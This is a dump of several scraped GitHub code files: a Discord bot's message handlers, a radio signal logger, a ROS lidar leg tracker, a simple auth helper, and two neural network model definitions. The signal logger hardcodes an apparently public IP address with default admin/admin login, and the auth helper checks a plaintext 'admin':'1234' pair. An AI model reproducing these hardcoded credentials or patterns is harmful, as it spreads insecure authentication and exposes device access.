least 32 characters (including any links, but not links alone).\"\n                                    f\" If you meant to comment on another entry, please delete your message and go to {common.entries_discussion_channel.mention}.\"\n                                    \" If no changes are made, your entry message will be\"\n                                    f\" deleted {utils.format_datetime(deletion_datetime, tformat='R')}.\"\n                                )\n                            )\n                            common.entry_message_deletion_dict[new.id] = [\n                                asyncio.create_task(\n                                    delete_bad_entry_and_warning(\n                                        new, warn_msg, delay=120\n                                    )\n                                ),\n                                warn_msg.id,\n                            ]\n                        except discord.NotFound:  # cancelling didn't work, warning and entry message were already deleted\n                            del common.entry_message_deletion_dict[new.id]\n\n                else:  # an edit led to an invalid entry message from a valid one\n                    deletion_datetime = datetime.datetime.utcnow() + datetime.timedelta(\n                        minutes=2\n                    )\n                    warn_msg = await new.reply(\n                        \"Your entry message must contain an attachment or a (Discord recognized) link to be valid.\"\n                        \" If it doesn't contain any characters but an attachment, it must be a reply to another entry you created.\"\n                        f\" If no attachments are present, it must contain at least 32 characters (including any links, but not links alone).\"\n                        f\" If you meant to comment on another entry, please delete your message and go to {common.entries_discussion_channel.mention}.\"\n                        \" If no changes are made, your entry message will be\"\n                        f\" deleted {utils.format_datetime(deletion_datetime, tformat='R')}.\"\n                    )\n\n                    common.entry_message_deletion_dict[new.id] = [\n                        asyncio.create_task(\n                            delete_bad_entry_and_warning(new, warn_msg, delay=120)\n                        ),\n                        warn_msg.id,\n                    ]\n                return\n\n            elif (\n                entry_message_validity_check(new)\n                and new.id in common.entry_message_deletion_dict\n            ):  # an invalid entry was corrected\n                deletion_data_list = common.entry_message_deletion_dict[new.id]\n                deletion_task = deletion_data_list[0]\n                if not deletion_task.done():  # too late to do anything\n                    try:\n                        deletion_task.cancel()  # try to cancel deletion after noticing valid edit by sender\n                        warn_msg = await new.channel.fetch_message(\n                            deletion_data_list[1]\n                        )\n                        await warn_msg.delete()\n                    except discord.NotFound:  # cancelling didn't work, warning and entry message were already deleted\n                        pass\n                del common.entry_message_deletion_dict[new.id]\n\n        async for message in common.entries_discussion_channel.history(\n            around=old.created_at, limit=5\n        ):\n            try:\n                embed = message.embeds[0]\n                link = embed.fields[1].value\n                if not isinstance(link, str):\n                    continue\n\n                if int(link.split(\"/\")[6][:-1]) == new.id:\n                    _, fields = format_entries_message(new, \"\")\n                    await embed_utils.edit(message, embed=embed, fields=fields)\n                    embed_repost_edited = True\n                    break\n\n            except (IndexError, AttributeError):\n                pass\n\n        if not embed_repost_edited:\n            if (datetime.datetime.utcnow() - old.created_at) < datetime.timedelta(\n                minutes=5\n            ):  # for new, recently corrected entry messages\n                entry_type = \"showcase\"\n                color = 0xFF8800\n\n                title, fields = format_entries_message(new, entry_type)\n                await embed_utils.send(\n                    common.entries_discussion_channel,\n                    title=title,\n                    color=color,\n                    fields=fields,\n                )\n\n\nasync def raw_reaction_add(payload: discord.RawReactionActionEvent):\n    \"\"\"\n    Helper to handle a raw reaction added on discord\n    \"\"\"\n\n    # Try to fetch channel without API call first\n    channel = common.bot.get_channel(payload.channel_id)\n    if channel is None:\n        try:\n            channel = await common.bot.fetch_channel(payload.channel_id)\n        except discord.HTTPException:\n            return\n\n    if not isinstance(channel, discord.TextChannel):\n        return\n\n    try:\n        msg: discord.Message = await channel.fetch_message(payload.message_id)\n    except discord.HTTPException:\n        return\n\n    if not msg.embeds or common.UNIQUE_POLL_MSG not in str(msg.embeds[0].footer.text):\n        return\n\n    for reaction in msg.reactions:\n        async for user in reaction.users():\n            if user.id == payload.user_id and not utils.is_emoji_equal(\n                payload.emoji, reaction.emoji\n            ):\n                await reaction.remove(user)\n\n\nasync def handle_message(msg: discord.Message):\n    \"\"\"\n    Handle a message posted by user\n    \"\"\"\n    if msg.type == discord.MessageType.premium_guild_subscription:\n        await emotion.server_boost(msg)\n\n    if msg.content.startswith(common.PREFIX):\n        ret = await commands.handle(msg)\n        if ret is not None:\n            common.cmd_logs[msg.id] = ret\n\n        if len(common.cmd_logs) > 100:\n            del common.cmd_logs[list(common.cmd_logs.keys())[0]]\n\n        await emotion.update(\"bored\", -10)\n\n    elif not common.TEST_MODE:\n        await emotion.check_bonk(msg)\n\n        # Check for these specific messages, do not try to generalise, because we do not\n        # want the bot spamming the bydariogamer quote\n        # no_mentions = discord.AllowedMentions.none()\n        # if unidecode.unidecode(msg.content.lower()) in common.DEAD_CHAT_TRIGGERS:\n        #     # ded chat makes snek sad\n        #     await msg.channel.send(\n        #         \"good.\" if await emotion.get(\"anger\") >= 60 else common.BYDARIO_QUOTE,\n        #         allowed_mentions=no_mentions,\n        #     )\n        #     await emotion.update(\"happy\", -8)\n\n        if common.GENERIC:\n            return\n\n        if msg.channel in common.entry_channels.values():\n\n            if msg.channel.id == common.ServerConstants.ENTRY_CHANNEL_IDS[\"showcase\"]:\n                if not entry_message_validity_check(msg):\n                    deletion_datetime = datetime.datetime.utcnow() + datetime.timedelta(\n                        minutes=2\n                    )\n                    warn_msg = await msg.reply(\n                        \"Your entry message must contain an attachment or a (Discord recognized) link to be valid.\"\n                        \" If it doesn't contain any characters but an attachment, it must be a reply to another entry you created.\"\n                        f\" If no attachments are present, it must contain at least 32 characters (including any links, but not links alone).\"\n                        f\" If you meant to comment on another entry, please delete your message and go to {common.entries_discussion_channel.mention}.\"\n                        \" If no changes are made, your entry message will be\"\n                        f\" deleted {utils.format_datetime(deletion_datetime, tformat='R')}.\"\n                    )\n                    common.entry_message_deletion_dict[msg.id] = [\n                        asyncio.create_task(\n                            delete_bad_entry_and_warning(msg, warn_msg, delay=120)\n                        ),\n                        warn_msg.id,\n                    ]\n                    return\n\n                entry_type = \"showcase\"\n                color = 0xFF8800\n            else:\n                entry_type = \"resource\"\n                color = 0x0000AA\n\n            title, fields = format_entries_message(msg, entry_type)\n            await embed_utils.send(\n                common.entries_discussion_channel,\n                title=title,\n                color=color,\n                fields=fields,\n            )\n        elif (\n            random.random() < await emotion.get(\"happy\") / 200\n            or msg.author.id == 683852333293109269\n        ):\n            await emotion.dad_joke(msg)\n\n\ndef cleanup(*_):\n    \"\"\"\n    Call cleanup functions\n    \"\"\"\n    common.bot.loop.run_until_complete(db.quit())\n    common.bot.loop.run_until_complete(common.bot.close())\n    common.bot.loop.close()\n\n\ndef run():\n    \"\"\"\n    Does what discord.Client.run does, except, handles custom cleanup functions\n    and pygame init\n    \"\"\"\n\n    os.environ[\"SDL_VIDEODRIVER\"] = \"dummy\"\n    pygame.init()  # pylint: disable=no-member\n    common.window = pygame.display.set_mode((1, 1))\n\n    # use signal.signal to setup SIGTERM signal handler, runs after event loop\n    # closes\n    signal.signal(signal.SIGTERM, cleanup)\n\n    try:\n        common.bot.loop.run_until_complete(common.bot.start(common.TOKEN))\n\n    except KeyboardInterrupt:\n        # Silence keyboard interrupt traceback (it contains no useful info)\n        pass\n\n    finally:\n        cleanup()\n","repo_name":"gresm/PygameCommunityBot","sub_path":"pgbot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"28257579249","text":"from siklu_api import *\r\n\r\nif __name__ == '__main__':\r\n\r\n    unit = SikluUnit('31.168.34.109', 'admin', 'admin', debug=False)\r\n    unit.connect()\r\n    for i in range(100):\r\n        reply = ShowRSSI(unit).parse()\r\n        rssi = int(reply[0])\r\n        # ts = time.strftime('%d-%m-%Y %H:%M:%S.%f', time.localtime())\r\n        ts = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\r\n        print(f'{ts},{rssi}')\r\n","repo_name":"borismay/upgrader","sub_path":"rssi_logger.py","file_name":"rssi_logger.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"15939625400","text":"#!/usr/bin/env python\nimport rospy, math, time, csv\nimport numpy as np\nfrom sensor_msgs.msg import LaserScan\nfrom visualization_msgs.msg import Marker\nfrom geometry_msgs.msg import Point\n\n#This code was designed to track a single moving person, walking in a static environment\n#using a Hokuyo lidar.\n\n#In order for this method of tracking to work, the lidar must first scan the room without\n#any movement to set the baseline for what isn't considered movement. After the first frame\n#is acquired it will be used to visualize any change(ie the person being tracked)\n\n#Rostopics\n#Subscribed: /scan (LaserScan)\n#Publishing: /visualization_marker (Marker)\n#\t\t\t /visualization_marker2 (Marker)\n\nnumMsgs=0\t\t\t\t#Keeps track of how many scan messages have been received\nf1=[]\t\t\t\t\t#The first scan frame on startup\n\n#Thresholds\n#!!!These values worked for our application but may need modified for yours!!!\nmovementThreshold=0.5\t#How far should a point be from where it was in frame 1 before its considered a moving object (Helps filter out sensor noise)\nlegsThreshold=0.6\t\t#How far away from the average of all moving points should a persons legs be (Helps filter out sensor noise)\n\n#Publishers\npubMarker = rospy.Publisher('visualization_marker',Marker, queue_size=1000)#Publisher for moving points\npubMarker2 = rospy.Publisher('visualization_marker2',Marker, queue_size=1000)#Publisher for average of moving points\n\n#Average moving position points\npt1=Point()\npt2=Point()\n\n#Used to calculate speed of moving person\nmoveCnt=0\nstart=0\nend=0\nspeedTotal=0\nprevSpeed=0\n\n#Used to calculate average frequency of recorded data\ntotalTimeBtwn=0\navgTimeBtwn=0\t\t\t\ntimeBtwnCnt=0\n\n#CSV file for recording lidar data into\ncsvNumber='3'\noutfile=open('lidarData' + csvNumber + '.csv','w')\nwriter = csv.writer(outfile)\n\n#Input:  Point(), Point()\n#\t\tpt1 = The first Point()\n#\t\tpt2 = The second Point()\n#Output: Distance from pt1 to pt2\ndef distanceTo(pt1,pt2):\n\t\n\treturn math.hypot(pt1.x-pt2.x,pt1.y-pt2.y)\n\n#Input: int, int, int, int, dbl, dbl\n#\t\tmarkerId = integer to represent a unique Marker()\n#\t\tr = integer to represent red color\n#\t\tg = integer to represent green color\n#\t\tb = integer to represent blue color\n#\t\tx = double to represent x position\n#\t\ty = integer to represent y position\n#Output: Marker()\ndef makeMarker(markerId,r,g,b,x,y):\n\tmarker = Marker()\n\tmarker.header.frame_id = \"laser\"\n\tmarker.lifetime = rospy.Duration(0.5)\n\tmarker.id=markerId\n\tmarker.type = marker.SPHERE\n\tmarker.action = marker.ADD\n\tmarker.scale.x = 0.1\n\tmarker.scale.y = 0.1\n\tmarker.scale.z = 0.1\n\tmarker.color.a = 1.0\n\tmarker.color.r = r\n\tmarker.color.g = g\n\tmarker.color.b = b\n\tmarker.pose.position.x=x\n\tmarker.pose.position.y=y\n\treturn marker\n\n# Input: int, int, int, int, Points[]\n# \t\tmarkerId = integer to represent a unique Marker()\n# \t\tr = integer to represent red color\n# \t\tg = integer to represent green color\n# \t\tb = integer to represent blue color\n# \t\tpts = list of Points() to represent x and y positions\n# Output: Marker()\ndef makeSphereList(markerId,r,g,b,pts):\n\tmarker = Marker()\n\tmarker.type = marker.SPHERE_LIST\n\tmarker.action = marker.ADD\n\tmarker.header.frame_id = \"laser\"\n\tmarker.id=markerId\n\tmarker.scale.x = 0.1\n\tmarker.scale.y = 0.1\n\tmarker.scale.z = 0.1\n\tmarker.color.r = r\n\tmarker.color.g = g\n\tmarker.color.b = b\n\tmarker.color.a = 1.0\n\tmarker.lifetime = rospy.Duration(0.5)\n\tmarker.points=pts\n\treturn marker\n\n#Input: LaserScan\n#\t\tdata = LaserScan Data\n#Output: None\ndef callback(data):\n\tglobal numMsgs, f1, movementThreshold, pubMarker, pubMarker2, moveCnt, pt1, pt2, start, end, speedTotal, totalTimeBtwn, timeBtwnCnt, writer ,legsThreshold, prevSpeed\n\tnumMsgs+=1\t \t\t\t\t\t\t\t\t#Keeps track of how many scan messages have been received\n\tif(numMsgs==1):\n\t\tf1=data.ranges \t\t\t\t\t\t\t#Grab the first frame on startup to use \n\telse:\n\t\tf2=data.ranges \t\t\t\t\t\t\t#Grab frames to compare to f1 to search for movement\n\t\ti=0\n\t\tpositionsXY=[] \t\t\t\t\t\t\t#Points of movement in scan\n\t\txTot=0 \t\t\t\t\t\t\t\t\t#Total of all x movement positions\n\t\tyTot=0 \t\t\t\t\t\t\t\t\t#Total of all y movement positions\n\t\tk=-1.65806281567 \t\t\t\t\t\t#Lowest radian angle measurement of lidar \n\t\tfor i in range(0,1520): \t\t\t\t#1521 is len(data.ranges)\n\t\t\tif(abs(f2[i]-f1[i])>movementThreshold):\n\t\t\t\tmovePoint=Point() \t\t\t\t#Represent distance and angle as a point\n\t\t\t\tmovePoint.x=f2[i]*(math.cos(k)) #Calculate x position\n\t\t\t\tmovePoint.y=f2[i]*(math.sin(k))\t#Calculate y position\n\t\t\t\txTot+=movePoint.x \t\t\t\t\n\t\t\t\tyTot+=movePoint.y\n\t\t\t\tpositionsXY.append(movePoint)\n\t\t\tk+=0.00218022723 \t\t\t\t\t#Lidar range = -1.65806281567 to 1.65806281567\n\t\t\t\t\t\t\t \t\t\t\t\t#k = 2*1.65806281567/len(data.ranges)\n\t\tif(len(positionsXY)>0):\t\t\t\t\t#Make sure that something is moving in the frame\n\t\t\tmoveCnt+=1\t\t\n\n\t\t\t#Calculate the speed of the person in the frame\n\t\t\t#Take average of all moving points as the position of the person\n\t\t\t#Current average position - Previous average position\n\t\t\t#End time - Start time to determine how fast the distance between positions was traveled\t\t\t\t\t\n\t\t\tif(moveCnt==1):\n\t\t\t\tpt1.x = xTot/len(positionsXY)\n\t\t\t\tpt1.y = yTot/len(positionsXY)\n\t\t\t\tstart=time.time()\n\t\t\t\tprevSpeed=0\n\t\t\telse:\n\t\t\t\tpt2.x=xTot/len(positionsXY)\n\t\t\t\tpt2.y=yTot/len(positionsXY)\n\t\t\t\tend=time.time()\n\t\t\t\ttimeBtwn=end-start\n\t\t\t\tdistanceBtwn=distanceTo(pt1,pt2)\n\t\t\t\tspeed=distanceBtwn/timeBtwn\n\t\t\t\tprint([end,(speed-prevSpeed)/timeBtwn])\n\t\t\t\ttotalTimeBtwn+=timeBtwn\n\t\t\t\ttimeBtwnCnt+=1\n\t\t\t\tspeedTotal+=speed\n\t\t\t\tavgSpeed=(speedTotal/timeBtwnCnt)\n\t\t\t\tif(abs(speed-avgSpeed)<5): #Filter out large spikes in speed\n\t\t\t\t\twriter.writerow([end,math.sqrt(((speed-prevSpeed)/timeBtwn)**2)])\n\t\t\t\tpt1.x=pt2.x\n\t\t\t\tpt1.y=pt2.y\n\t\t\t\tstart=time.time()\n\t\t\t\tprevSpeed=speed\n\t\t\tpubMarker2.publish(makeMarker(1,1,1,1,pt1.x,pt1.y))\n\n\t\t\t# Calculate what movement should be classified as \n\t\t\t# the legs based on the distance a moving point is \n\t\t\t# from the average movement point\n\t\t\tj=Point()\n\t\t\tlegs=[]\n\t\t\tfor j in positionsXY:\n\t\t\t\tif(distanceTo(j,pt1)<legsThreshold):\n\t\t\t\t\tlegs.append(j)\n\t\t\tpubMarker.publish(makeSphereList(4,0,0,1,legs))\n\n#Initialize node and subscriber\ndef mark():\n\trospy.init_node('mark', anonymous=True) \n\trospy.Subscriber('/scan', LaserScan, callback)\n\trospy.spin()\n\n\t#Write what the average recording frequency was for the lidar data collected to a CSV (Used for syncronization)\n\tf=open('lidarFreq' + csvNumber + '.csv','w')\n\tw = csv.writer(f)\n\tw.writerow([totalTimeBtwn/timeBtwnCnt])\n\nif __name__ == '__main__':\n    mark()\n","repo_name":"nchollan/2D-Lidar-Leg-Tracking-Static-Background","sub_path":"mark.py","file_name":"mark.py","file_ext":"py","file_size_in_byte":6409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"22866636396","text":"auth_Creds = {\"admin\": \"1234\"}\n\nasync def VerifyRequest(user, pswd):\n    if not((user in auth_Creds) and (auth_Creds[user] == pswd)):\n        return {\n            \"status\" : 401,\n            \"message\" : \"401 Unauthorized\"\n            }\n    else:\n        return {\n            \"status\" : 200,\n            \"message\" : \"Access allowed\"\n            }","repo_name":"devilb2103/Student-Grade-Manager","sub_path":"Controller/auth_controller.py","file_name":"auth_controller.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"43688691616","text":"import __init__\nimport torch\nfrom operations import *\n\n\nclass Cell(nn.Module):\n    def __init__(self, genotype, C_prev_prev, C_prev, C):\n        super(Cell, self).__init__()\n        self.preprocess0 = MLP([C_prev_prev, C], 'relu', 'batch', bias=False)\n        self.preprocess1 = MLP([C_prev, C], 'relu', 'batch', bias=False)\n\n        op_names, indices = zip(*genotype.normal)\n        concat = genotype.normal_concat\n        self._compile(C, op_names, indices, concat)\n\n    def _compile(self, C, op_names, indices, concat):\n        assert len(op_names) == len(indices)\n        self._steps = len(op_names) // 2\n        self._concat = concat\n        self.multiplier = len(concat)\n\n        self._ops = nn.ModuleList()\n        for name, index in zip(op_names, indices):\n            op = OPS[name](C, 1, True)\n            self._ops += [op]\n        self._indices = indices\n\n    def forward(self, s0, s1, edge_index, drop_prob):\n        s0 = self.preprocess0(s0)\n        s1 = self.preprocess1(s1)\n\n        states = [s0, s1]\n        for i in range(self._steps):\n            h1 = states[self._indices[2 * i]]\n            h2 = states[self._indices[2 * i + 1]]\n            op1 = self._ops[2 * i]\n            op2 = self._ops[2 * i + 1]\n            h1 = op1(h1, edge_index)\n            h2 = op2(h2, edge_index)\n            if self.training and drop_prob > 0.:\n                if not isinstance(op1, Identity):\n                    h1 = drop_path(h1, drop_prob)\n                if not isinstance(op2, Identity):\n                    h2 = drop_path(h2, drop_prob)\n            s = h1 + h2\n            states += [s]\n        return torch.cat([states[i] for i in self._concat], dim=1)\n\n\nclass AuxiliaryHeadPPI(nn.Module):\n\n    def __init__(self, C, num_classes):\n        super(AuxiliaryHeadPPI, self).__init__()\n        self.features = nn.Sequential(\n            MLP([C, 128, 768], 'relu', 'batch', bias=False)\n\n        )\n        self.classifier = nn.Linear(768, num_classes)\n\n    def forward(self, x):\n        x = self.features(x)\n        x = self.classifier(x)\n        return x\n\n\nclass NetworkPPI(nn.Module):\n\n    def __init__(self, C, num_classes, layers, auxiliary, genotype, stem_multiplier=3, in_channels=3):\n        super(NetworkPPI, self).__init__()\n        self._layers = layers\n        self._auxiliary = auxiliary\n        self._in_channels = in_channels\n        self.drop_path_prob = 0.\n\n        C_curr = stem_multiplier * C\n        self.stem = nn.Sequential(\n            MLP([in_channels, C_curr], None, 'batch', bias=False),\n        )\n\n        C_prev_prev, C_prev, C_curr = C_curr, C_curr, C\n        self.cells = nn.ModuleList()\n        for i in range(layers):\n            cell = Cell(genotype, C_prev_prev, C_prev, C_curr)\n            self.cells += [cell]\n            C_prev_prev, C_prev = C_prev, cell.multiplier * C_curr\n            if i == 2 * layers // 3:\n                C_to_auxiliary = C_prev\n\n        if auxiliary:\n            self.auxiliary_head = AuxiliaryHeadPPI(C_to_auxiliary, num_classes)\n        self.global_pooling = nn.AdaptiveAvgPool1d(1)\n        self.classifier = nn.Linear(C_prev + 1, num_classes)\n\n    def forward(self, input):\n        logits_aux = None\n        x, edge_index = input.x, input.edge_index\n        s0 = s1 = self.stem(x)\n        for i, cell in enumerate(self.cells):\n            s0, s1 = s1, cell(s0, s1, edge_index, self.drop_path_prob)\n            if i == 2 * self._layers // 3:\n                if self._auxiliary and self.training:\n                    logits_aux = self.auxiliary_head(s1)\n        out = self.global_pooling(s1.unsqueeze(0)).squeeze(0)\n        logits = self.classifier(torch.cat((out, s1), dim=1))\n        return logits, logits_aux\n\n\ndef drop_path(x, drop_prob):\n    if drop_prob > 0.:\n        keep_prob = 1. - drop_prob\n        mask = torch.cuda.FloatTensor(x.size(0), 1).bernoulli_(keep_prob)\n        x.div_(keep_prob)\n        x.mul_(mask)\n    return x\n\n","repo_name":"lightaime/sgas","sub_path":"gcn/gcn_graph/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"36"}
{"seq_id":"2360758321","text":"\"\"\"\n【问题描述】\n输入一组整数，从小到大排序后，输出排序结果。\n【输入形式】\n一行。一组用空格隔开的整数。\n【输出形式】\n一行。一组用一个空格隔开的整数，从小到大排列。\n【样例输入】\n9 8 7 6\n【样例输出】\n6 7 8 9\n【提示】\n用列表的sort方法。\n\"\"\"\nnum = input().split()\nlist = []\nfor n in num:\n    list.append(int(n))\nlist.sort()\nprint(\" \".join(str(i) for i in list))","repo_name":"xzl995/Python","sub_path":"CourseGrading/3.2.11整数列表排序.py","file_name":"3.2.11整数列表排序.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"33689386025","text":"from functools import partial\n\nimport torch\nimport torch.nn as nn\nfrom timm.models.helpers import build_model_with_cfg\nfrom timm.models.layers import DropPath, trunc_normal_\nfrom timm.models.registry import register_model\nfrom timm.models.vision_transformer import Mlp, PatchEmbed\nfrom timm.models.vision_transformer_hybrid import HybridEmbed\n\nfrom ..layers import build_rpe, get_rpe_config\n\ndefault_cfgs = {\n    'deit_small_patch16_224_ctx_product_50_shared_qkv': {\n        'url':\n        'https://github.com/wkcn/iRPE-model-zoo/releases/download/1.0/deit_small_patch16_224_ctx_product_50_shared_qkv.pth'  # noqa\n    },\n    'deit_base_patch16_224_ctx_product_50_shared_qkv': {\n        'url':\n        'https://github.com/wkcn/iRPE-model-zoo/releases/download/1.0/deit_base_patch16_224_ctx_product_50_shared_qkv.pth'  # noqa\n    }\n}\n\n\nclass RPEAttention(nn.Module):\n    \"\"\"Attention with image relative position encoding.\"\"\"\n    def __init__(self,\n                 dim,\n                 num_heads=8,\n                 qkv_bias=False,\n                 qk_scale=None,\n                 attn_drop=0.,\n                 proj_drop=0.,\n                 rpe_config=None):\n        super().__init__()\n        self.num_heads = num_heads\n        head_dim = dim // num_heads\n        # NOTE scale factor was wrong in my original version,\n        # can set manually to be compat with prev weights\n        self.scale = qk_scale or head_dim**-0.5\n\n        self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n        self.attn_drop = nn.Dropout(attn_drop)\n        self.proj = nn.Linear(dim, dim)\n        self.proj_drop = nn.Dropout(proj_drop)\n\n        # image relative position encoding\n        self.rpe_q, self.rpe_k, self.rpe_v = \\\n            build_rpe(rpe_config,\n                      head_dim=head_dim,\n                      num_heads=num_heads)\n\n    def forward(self, x):\n        B, N, C = x.shape\n        qkv = self.qkv(x).reshape(B, N, 3, self.num_heads,\n                                  C // self.num_heads).permute(2, 0, 3, 1, 4)\n        q, k, v = qkv[0], qkv[1], qkv[\n            2]  # make torchscript happy (cannot use tensor as tuple)\n\n        q *= self.scale\n\n        attn = (q @ k.transpose(-2, -1))\n\n        # image relative position on keys\n        if self.rpe_k is not None:\n            attn += self.rpe_k(q)\n\n        # image relative position on queries\n        if self.rpe_q is not None:\n            attn += self.rpe_q(k * self.scale).transpose(2, 3)\n\n        attn = attn.softmax(dim=-1)\n        attn = self.attn_drop(attn)\n\n        out = attn @ v\n\n        # image relative position on values\n        if self.rpe_v is not None:\n            out += self.rpe_v(attn)\n\n        x = out.transpose(1, 2).reshape(B, N, C)\n        x = self.proj(x)\n        x = self.proj_drop(x)\n        return x\n\n\nclass RPEBlock(nn.Module):\n    def __init__(self,\n                 dim,\n                 num_heads,\n                 mlp_ratio=4.,\n                 qkv_bias=False,\n                 qk_scale=None,\n                 drop=0.,\n                 attn_drop=0.,\n                 drop_path=0.,\n                 act_layer=nn.GELU,\n                 norm_layer=nn.LayerNorm,\n                 rpe_config=None):\n        super().__init__()\n        self.norm1 = norm_layer(dim)\n        self.attn = RPEAttention(dim,\n                                 num_heads=num_heads,\n                                 qkv_bias=qkv_bias,\n                                 qk_scale=qk_scale,\n                                 attn_drop=attn_drop,\n                                 proj_drop=drop,\n                                 rpe_config=rpe_config)\n        # NOTE: drop path for stochastic depth,\n        # we shall see if this is better than dropout here\n        self.drop_path = DropPath(\n            drop_path) if drop_path > 0. else nn.Identity()\n        self.norm2 = norm_layer(dim)\n        mlp_hidden_dim = int(dim * mlp_ratio)\n        self.mlp = Mlp(in_features=dim,\n                       hidden_features=mlp_hidden_dim,\n                       act_layer=act_layer,\n                       drop=drop)\n\n    def forward(self, x):\n        x = x + self.drop_path(self.attn(self.norm1(x)))\n        x = x + self.drop_path(self.mlp(self.norm2(x)))\n        return x\n\n\nclass VisionTransformer(nn.Module):\n    \"\"\"Vision Transformer with support for patch or hybrid CNN input stage and\n    image relative position encoding.\"\"\"\n    def __init__(self,\n                 img_size=224,\n                 patch_size=16,\n                 in_chans=3,\n                 num_classes=1000,\n                 embed_dim=768,\n                 depth=12,\n                 num_heads=12,\n                 mlp_ratio=4.,\n                 qkv_bias=False,\n                 qk_scale=None,\n                 drop_rate=0.,\n                 attn_drop_rate=0.,\n                 drop_path_rate=0.,\n                 hybrid_backbone=None,\n                 norm_layer=nn.LayerNorm,\n                 rpe_config=None):\n        super().__init__()\n        self.num_classes = num_classes\n        # num_features for consistency with other models\n        self.num_features = self.embed_dim = embed_dim\n\n        if hybrid_backbone is not None:\n            self.patch_embed = HybridEmbed(hybrid_backbone,\n                                           img_size=img_size,\n                                           in_chans=in_chans,\n                                           embed_dim=embed_dim)\n        else:\n            self.patch_embed = PatchEmbed(img_size=img_size,\n                                          patch_size=patch_size,\n                                          in_chans=in_chans,\n                                          embed_dim=embed_dim)\n        num_patches = self.patch_embed.num_patches\n\n        self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))\n        self.pos_embed = nn.Parameter(\n            torch.zeros(1, num_patches + 1, embed_dim))\n        self.pos_drop = nn.Dropout(p=drop_rate)\n\n        # stochastic depth decay rule\n        dpr = [x.item() for x in torch.linspace(0, drop_path_rate, depth)]\n        self.blocks = nn.ModuleList([\n            RPEBlock(dim=embed_dim,\n                     num_heads=num_heads,\n                     mlp_ratio=mlp_ratio,\n                     qkv_bias=qkv_bias,\n                     qk_scale=qk_scale,\n                     drop=drop_rate,\n                     attn_drop=attn_drop_rate,\n                     drop_path=dpr[i],\n                     norm_layer=norm_layer,\n                     rpe_config=rpe_config) for i in range(depth)\n        ])\n        self.norm = norm_layer(embed_dim)\n\n        # NOTE as per official impl, we could have a\n        # pre-logits representation dense layer + tanh here\n        # self.repr = nn.Linear(embed_dim, representation_size)\n        # self.repr_act = nn.Tanh()\n\n        # Classifier head\n        self.head = nn.Linear(\n            embed_dim, num_classes) if num_classes > 0 else nn.Identity()\n\n        trunc_normal_(self.pos_embed, std=.02)\n        trunc_normal_(self.cls_token, std=.02)\n        self.apply(self._init_weights)\n\n    def _init_weights(self, m):\n        if isinstance(m, nn.Linear):\n            trunc_normal_(m.weight, std=.02)\n            if isinstance(m, nn.Linear) and m.bias is not None:\n                nn.init.constant_(m.bias, 0)\n        elif isinstance(m, nn.LayerNorm):\n            nn.init.constant_(m.bias, 0)\n            nn.init.constant_(m.weight, 1.0)\n\n    @torch.jit.ignore\n    def no_weight_decay(self):\n        return {'pos_embed', 'cls_token'}\n\n    def get_classifier(self):\n        return self.head\n\n    def reset_classifier(self, num_classes, global_pool=''):\n        self.num_classes = num_classes\n        self.head = nn.Linear(\n            self.embed_dim, num_classes) if num_classes > 0 else nn.Identity()\n\n    def forward_features(self, x):\n        B = x.shape[0]\n        x = self.patch_embed(x)\n\n        cls_tokens = self.cls_token.expand(\n            B, -1, -1)  # stole cls_tokens impl from Phil Wang, thanks\n        x = torch.cat((cls_tokens, x), dim=1)\n        x = x + self.pos_embed\n        x = self.pos_drop(x)\n\n        for blk in self.blocks:\n            x = blk(x)\n\n        x = self.norm(x)\n        return x[:, 0]\n\n    def forward(self, x):\n        x = self.forward_features(x)\n        x = self.head(x)\n        return x\n\n\ndef _filter_fn(state_dict):\n    state_dict = state_dict['model']\n    return state_dict\n\n\ndef _irpe(arch, pretrained, **kwargs):\n    model = build_model_with_cfg(VisionTransformer,\n                                 arch,\n                                 pretrained=pretrained,\n                                 default_cfg=default_cfgs[arch],\n                                 pretrained_filter_fn=_filter_fn,\n                                 **kwargs)\n    return model\n\n\n@register_model\ndef deit_small_patch16_224_ctx_product_50_shared_qkv(pretrained=False,\n                                                     **kwargs):\n    rpe_config = get_rpe_config(\n        ratio=1.9,\n        method='product',\n        mode='ctx',\n        shared_head=True,\n        skip=1,\n        rpe_on='qkv',\n    )\n    return _irpe('deit_small_patch16_224_ctx_product_50_shared_qkv',\n                 pretrained=pretrained,\n                 rpe_config=rpe_config,\n                 patch_size=16,\n                 embed_dim=384,\n                 depth=12,\n                 num_heads=6,\n                 mlp_ratio=4,\n                 qkv_bias=True,\n                 norm_layer=partial(nn.LayerNorm, eps=1e-6),\n                 **kwargs)\n\n\n@register_model\ndef deit_base_patch16_224_ctx_product_50_shared_qkv(pretrained=False,\n                                                    **kwargs):\n    rpe_config = get_rpe_config(\n        ratio=1.9,\n        method='product',\n        mode='ctx',\n        shared_head=True,\n        skip=1,\n        rpe_on='qkv',\n    )\n    return _irpe('deit_base_patch16_224_ctx_product_50_shared_qkv',\n                 pretrained=pretrained,\n                 rpe_config=rpe_config,\n                 patch_size=16,\n                 embed_dim=768,\n                 depth=12,\n                 num_heads=12,\n                 mlp_ratio=4,\n                 qkv_bias=True,\n                 norm_layer=partial(nn.LayerNorm, eps=1e-6),\n                 **kwargs)\n","repo_name":"okotaku/timmextension","sub_path":"timmextension/models/irpe.py","file_name":"irpe.py","file_ext":"py","file_size_in_byte":10231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
